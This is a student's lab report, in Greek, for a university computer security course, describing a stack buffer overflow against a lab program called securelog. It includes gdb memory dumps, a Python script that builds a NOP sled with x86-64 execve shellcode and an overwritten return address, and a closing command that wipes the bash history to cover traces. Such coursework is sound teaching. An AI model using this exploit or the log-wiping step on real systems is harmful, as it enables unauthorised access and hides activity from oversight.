Προστασία και Ασφάλεια Υπολογιστικών Συστημάτων.

Project #2 ΥΣ13 ΕΑΡΙΝΌ 2018

Θοδωρής Μανδηλαράς Α.μ.: 1115201200098

(Χρησιμοποιήθηκαν 3 ήμερες παράτασης από τις 7 που είχα.)

Διαδικασία επίθεσης.

Αρχικα, αφού συνδέθικα στον λογαριασμο μου sdi1200098bo.csec.gr με ssh και τον κωδικό από το webmail, άρχισα να εξερευνώ τα αρχεία που υπήρχαν στον λογαριασμό. Πρώτα επισκέφθηκα το αρχείο securelog.c να δω προσεκτικά τον κωδικά τον οποίο εκτελεί το ./secureloc. Εκεί, εύκολα παρατήρησα πως μέσα σε μια συνάρτηση κάνει ένα strcpy( ) για να γεμίσει μια μεταβλητή buf και δεν ελέγχει καθόλου το μήκος τον bytes, έτσι είναι εύκολο να οδηγήσει σε Buffer overflow. Επιπλέον αυτή η μεταβλητή γεμίζει από την μεταβλητή msg, η οποία προέρχεται από όρισμα το οποίο δίνει ο χρήστης στην εκτέλεση του προγράμματος Τέλος, το πρόγραμμα αυτό γράφει στο αρχείο secure.log στο οποίο εμείς δεν έχουμε δικαιώματα διαβάσματος και ο στόχος μας είναι να μάθουμε το περιεχόμενο του.

Έπειτα, διάβασα το αρχείο shellcode.txt το οποίο παρατήρισα οτι οδηγεί στην εκτέλεση ενός αρχείου ./shell όταν αυτό κληθεί με τον κατάλληλο τρόπο. Οπότε, η επόμενη μου κίνηση ήταν να δημιουργήσω ένα απλό αρχείο shell.c εκτελώντας μια βασική λειτουργία pirntf( ) το οποίο κάνοντας το compile ως εξής :

gcc -o shell shell.c

θα έχω το ζητούμενο αρχείο ./shell για όταν χρειαστεί.

Στην συνέχεια, έκανα compile και παρήγαγα το αρχείο my_securelog με την εντολή :

gcc -g -ggdb -z execstack -fno-stack-protector -o my_securelog securelog.c

για να μπορέσω να κάνω τις δοκιμές μου με ασφάλεια, ωστόσο χωρίς αυτό το εκτελέσιμο να έχει δικαίωμα να γράψει μέσα στο secure.log.

Για την παραγωγή του κατάλληλου ορίσματος του προγράμματος δημιούργησα με την εντολή vim ένα αρχείο τύπου python ονόματι spam.py στο οποίο δημιουργώ ένα .txt με όνομα file.txt και το γεμίζω με τα κατάλληλα δεδομένα. Αρχικά, εισάγω μια ημερομηνία στην κατάλληλη μορφή ώστε να είναι συμβατό με το εκτελέσιμο και η εκτέλεση του να προχωράει ομαλά ως εξής 1111-11-11T11:11:11_. Έπειτα, εισάγω πολλές φορές το '\x90' το οποίο αντιπροσωπεύει την εντολή NO OPERATION στην γλώσσα μηχανής και έχει ως αποτέλεσμα όταν ο υπολογιστής το διάβαση σαν εντολή να μην εκτελέσει τίποτα και να προχωρήσει ομαλά στην επόμενη. Το πλήθος αυτών των εισαγωγών καθορίστηκε μετά από πολλές δοκιμές όπως θα περιγράψω και στην συνέχεια. Έπειτα, στο αρχείο εισάγω το περιεχόμενο του shellcode.txt (χωρίς τα σχόλια) για να μπορέσει ένα πρόγραμμα όταν το συναντήσει να εκτελέσει το ./shell . Στο τέλος εισάγω συμπληρωματικά κάποια 'A' μέχρι να φτάσω στο σημείο που με αφορά (έτσι και αλλιώς δεν θα τα διάβαζε ποτέ κάποιο εκτελέσιμά πρόγραμμά, αφού η εκτέλεση έχει μεταπηδήσει ήδη στο ./shell) και μια διεύθυνση σε 16αδική μορφή η οποία μετά από πολλές δοκιμές παρατήρησα ότι οδηγεί πάντοτε σε κάποια εντολή NOP αφού το gdb δίνει παρόμοιες διευθύνσεις σε κάθε εκτέλεση. Η διεύθυνση αυτή έχει εισαχθεί ως εξής \x04\xc9\xff\xff\xff\x7f για να είναι κατανοητή από τον υπολογιστή στην συγκεκριμένη περίπτωση.

Χρήση του GDB για την ολοκλήρωση της εργασίας.

Άρχισα να εκτελώ με gdb το αρχείο μου my_securelog, βάζοντας με την εντολή b log_message ένα break point στης συνάρτηση στην οποία μέσα της καλείται η μη ελεγχόμενη strcpy( ). Επιπλέον, με την εντολή info frame μπορώ να ξέρω σε ποίο σημείο είναι ακριβώς η διεύθυνση του return instruction point (rip) στην μνήμη και το περιεχόμενο του (στην

συνεχεία να ελέγξω αν περιέχει το πολυπόθητο address που θα το οδηγήσει στην ολοκλήρωση του σκοπού μου). Επιπλέον με την εντολή x/x buf μαθαίνουμε την διεύθυνσή στην μνήμη που έχε η μεταβλητή buf και με την x/120x τα επόμενα 120bytes μετά από αυτήν την διεύθυνση

Με αυτόν τον τρόπο γνωρίζω την διεύθυνση του rip και προσπαθώ να γεμίσω όλα τα ενδιάμεσα bytes με τιμές NOP και το shellcode[ ] μας και στο τέλος η διεύθυνση μου να ταυτιστεί με την τιμή του rip. Έτσι με πολλές δοκιμές κατάφερα να εντοπίσω τον ακριβή αριθμό των NOP που χρειάζομαι προκειμένου να φτάσω στο προσιτό αποτέλεσμα.

Την εκτέλεση του προγράμματος την έκανα ως εξής :

- gdb my_securelo
- run $(cat file.txt)

Όπου το file.txt περιέχει το κείμενο που θα κάνει overflow τον buffer μας.

Παράδειγμα χρήσης:

-info frame

```
Stack level 0, frame at 0x7fffffffd430:
 rip = 0x400a71 in log_message (securelog.c:65); saved rip = 0x400be9
 called by frame at 0x7fffffffd460
 source language c.
 Arglist at 0x7fffffffd420, args:
    msg=0x7fffffffd7bd "1111-11-11T11:11:11_", '\220' <repeats 180
times>...
 Locals at 0x7fffffffd420, Previous frame's sp is 0x7fffffffd430
 Saved registers:
  rbp at 0x7fffffffd420, rip at 0x7fffffffd428
```

Όπου με γαλάζιο είναι μαρκαρισμένες η διεύθυνση και η τιμή του rip.

Επίθεση

Όταν κατάφερα και προσέγγισα τον ακριβή αριθμό των NOP που χρειαζόταν ώστε να γίνει overflow ο buffer και να μπορέσει η δίκια μου διεύθυνση να ταυτιστεί με το περιεχόμενο του rip, τότε αυτό οδήγησε στην εκτέλεση του δικού μου εκτελέσιμου προγράμματος κάνοντας το printf( ) που του είχα προγραμματίσει να κάνει. Τοτέ το αποτέλεσμα του gdb ήταν το εξής:

```
(gdb) x/x buf
0x7fffffffc410:  0x38313032
(gdb) x/120x
0x7fffffffc414:  0x2d36302d   0x31543230   0x34303a38   0x5f39303a
0x7fffffffc424:  0x31343130   0x31315f36   0x312d3131   0x31312d31
0x7fffffffc434:  0x3a313154   0x313a3131   0x90905f31   0x90909090
0x7fffffffc444:  0x90909090   0x90909090   0x90909090   0x90909090
0x7fffffffc454:  0x90909090   0x90909090   0x90909090   0x90909090
0x7fffffffc464:  0x90909090   0x90909090   0x90909090   0x90909090
0x7fffffffc474:  0x90909090   0x90909090   0x90909090   0x90909090
0x7fffffffc484:  0x90909090   0x90909090   0x90909090   0x90909090
0x7fffffffc494:  0x90909090   0x90909090   0x90909090   0x90909090
0x7fffffffc4a4:  0x90909090   0x90909090   0x90909090   0x90909090
0x7fffffffc4b4:  0x90909090   0x90909090   0x90909090   0x90909090
0x7fffffffc4c4:  0x90909090   0x90909090   0x90909090   0x90909090
0x7fffffffc4d4:  0x90909090   0x90909090   0x90909090   0x90909090
0x7fffffffc4e4:  0x90909090   0x90909090   0x90909090   0x90909090
0x7fffffffc4f4:  0x90909090   0x90909090   0x90909090   0x90909090
0x7fffffffc504:  0x90909090   0x90909090   0x90909090   0x90909090
0x7fffffffc514:  0x90909090   0x90909090   0x90909090   0x90909090
```

….. Πατόντας μερικά enter βρίσκουμε την θέση του rip που είναι 0x7fffffffd428

```
0x7fffffffd414:  0x41414141   0x41414141   0x41414141   0x41414141
0x7fffffffd424:  0x41414141   0xffffc904   0x00007fff   0xffffd538
0x7fffffffd434:  0x00007fff   0x004007d0   0x00000002   0xffffd530
```

Με την εντολή Info frame βλέπουμε πως εχεί πάρει την διεύθυνση που θέλουμε.

```
(gdb) info frame
        Stack level 0, frame at 0x7fffffffd430:
         rip = 0x400b5a in log_message (securelog.c:73); saved rip = 0x7fffffffc904
         called by frame at 0x7fffffffd438
         source language c.
         Arglist at 0x7fffffffd420, args:
           msg=0x7fffffffd7bd "1111-11-11T11:11:11_", '\220' <repeats 180 times>...
         Locals at 0x7fffffffd420, Previous frame's sp is 0x7fffffffd430
         Saved registers:
          rbp at 0x7fffffffd420, rip at 0x7fffffffd428
```

Έπειτα, τροποποίησα τον κώδικα του αρχείου shell.c ώστε να ανοίγει το αρχείο secure.log και να εκτυπώνει το περιεχόμενο κάθε γραμμής. Από κάτω φαίνεται ο αντίστοιχος κώδικας:

```
// shell.c
#include <stdio.h>
#include <stdlib.h>

int main(void){
        printf("buff overflow!\n");
         FILE * fp;
         char * line = NULL;
         size_t len = 0;
         ssize_t read;
         fp = fopen("secure.log", "r");
         if (fp == NULL)
                 exit(EXIT_FAILURE);

         while ((read = getline(&line, &len, fp)) != -1) {
                 printf("Retrieved line of length %zu :\n", read);
```

```
                printf("%s", line);
        }
        fclose(fp);
        if (line)
                free(line);
        exit(1);
}
```

Ωστόσο για να διαβάσω το περιεχόμενο του secure.log έπρεπε να το τρέξω με το κανονικό αρχείο securelog και για όρισμα το file.txt ώστε το αρχείο ./shell να τρέξει με τα δικαιώματα του securelog και να μου μπορέσει να διαβάσει το περιεχόμενο του.

Το μυστικό μήνυμα ήταν :

2018-05-15T17:41:07_00000_2017-05-19T15:56:52_FORTUNE DISCUSSES THE DIFFERENCES BETWEEN MEN AND WOMEN: #2 Desserts: A woman will generally admire an ornate dessert for the artistic work it is, praising its creator and waiting a suitable interval before she reluctantly takes a small sliver off one edge. A man will start by grabbing the cherry in the center. Car repair: The average man thinks his Y chromosome contains complete repair manuals for every car made since World War II. He will work on a problem himself until it either goes away or turns into something that "can't be fixed without special tools". The average woman thinks "that funny thump-thump noise" is an accurate description of an automotive problem. She will, however, have the car serviced at the proper intervals and thereby incur fewer problems than the average man.

Το περιεχόμενο του spam.py :

```
fin = open("file.txt", "w")
str = "1111-11-11T11:11:11_"+'\x90'*(3974 -
len("\x48\x31\xc0\xb0\x3b\x48\x8d\x3d\x14\x02\x03\x04\x48\x81\xef\x01\x0
2\x03\x04\x48\x31\xf6\x48\x31\xd2\x80\x6f\x07\x01\x0f\x05./shell\x01"))+"\x
48\x31\xc0\xb0\x3b\x48\x8d\x3d\x14\x02\x03\x04\x48\x81\xef\x01\x02\x03\
x04\x48\x31\xf6\x48\x31\xd2\x80\x6f\x07\x01\x0f\x05./shell\x01"+ 100*'A' +
"\x04\xc9\xff\xff\xff\x7f"

fin.write(str)
fin.close()
```

Το οποίο παράγει το αρχείο file.txt με το κατάλληλο μήκος ώστε να πετύχουμε το επιθυμητό αποτέλεσμα.

Κάλυψη των ιχνών μου.

Για την κάλυψη των ιχνών μου ώστε να μην μπορέσει κάποιο να εντοπίσει τις κινήσεις μου μέσω του bash στο τέλος εκτελώ την εντολή :

```
cat /dev/null > ~/.bash_history && history -c && exit
```

Η οποία κάνει clean το bash_history και το κλείνει.